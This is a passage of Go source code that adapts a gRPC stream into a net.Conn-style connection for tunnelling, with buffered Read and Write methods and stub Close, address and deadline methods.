| 39 | func (c *GrpcConn) Read(b []byte) (n int, err error) { 40 | for c.rbuf.Len() == 0 { 41 | in, err := c.stream.Recv() 42 | if err != nil { 43 | return 0, err 44 | } 45 | c.rbuf.Write([]byte(in.GetData())) 46 | } 47 | return c.rbuf.Read(b) 48 | } 49 | 50 | func (c *GrpcConn) Write(b []byte) (n int, err error) { 51 | c.mu.Lock() 52 | defer c.mu.Unlock() 53 | c.wbuf.Write(b) 54 | 55 | if err := c.flush(); err != nil { 56 | return 0, err 57 | } 58 | return len(b), nil 59 | } 60 | 61 | func (c *GrpcConn) flush() error { 62 | if err := c.stream.Send(&grpctun.TunnelData{Data: c.wbuf.Bytes()}); err != nil { 63 | return err 64 | } 65 | c.wbuf.Reset() 66 | return nil 67 | } 68 | 69 | func (c *GrpcConn) Close() error { 70 | return nil 71 | } 72 | 73 | func (c *GrpcConn) LocalAddr() net.Addr { 74 | return nil 75 | } 76 | 77 | func (c *GrpcConn) RemoteAddr() net.Addr { 78 | return nil 79 | } 80 | 81 | func (c *GrpcConn) SetDeadline(t time.Time) error { 82 | return nil 83 | } 84 | 85 | func (c *GrpcConn) SetReadDeadline(t time.Time) error { 86 | return nil 87 | } 88 | 89 | func (c *GrpcConn) SetWriteDeadline(t time.Time) error { 90 | return nil 91 | } 92 | --------------------------------------------------------------------------------